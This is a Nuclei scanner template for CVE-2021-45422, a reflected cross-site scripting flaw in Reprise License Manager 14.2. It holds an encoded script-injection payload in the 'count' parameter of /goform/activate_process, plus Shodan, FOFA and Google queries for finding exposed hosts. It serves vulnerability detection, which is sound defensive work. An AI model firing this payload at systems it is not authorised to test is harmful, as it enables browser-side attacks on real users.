id: CVE-2021-45422

info:
  name: Reprise License Manager 14.2 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Reprise License Manager 14.2 contains a cross-site scripting vulnerability in the /goform/activate_process "count" parameter via GET.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Reprise License Manager 14.2.
  reference:
    - https://seclists.org/fulldisclosure/2022/Jan/31
    - https://www.getinfosec.news/13202933/reprise-license-manager-142-reflected-cross-site-scripting#/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45422
    - http://reprise.com
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-45422
    cwe-id: CWE-79
    epss-score: 0.03241
    epss-percentile: 0.87051
    cpe: cpe:2.3:a:reprisesoftware:reprise_license_manager:14.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: reprisesoftware
    product: reprise_license_manager
    shodan-query:
      - http.html:"Reprise License"
      - http.html:"reprise license"
      - http.html:"reprise license manager"
    fofa-query:
      - body="reprise license manager"
      - body="reprise license"
    google-query: inurl:"/goforms/menu"
  tags: cve2021,cve,reprise,xss,seclists,reprisesoftware,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/goform/activate_process?isv=&akey=&hostid=&count=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""><script>alert(document.domain)</script>"><input type='
          - 'value: "><script>alert(document.domain)</script>)<br>'
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022047ee51c45d8a7ea20b8c314c90eaeacd5876f0b2aaf9110c72d9055fc28a1d18022100eaa64c2e1b9b5679c1b1f65262575f79a89286320e4fe5c7fd48442b24c43858:922c64590222798bb761d5b6d8e72950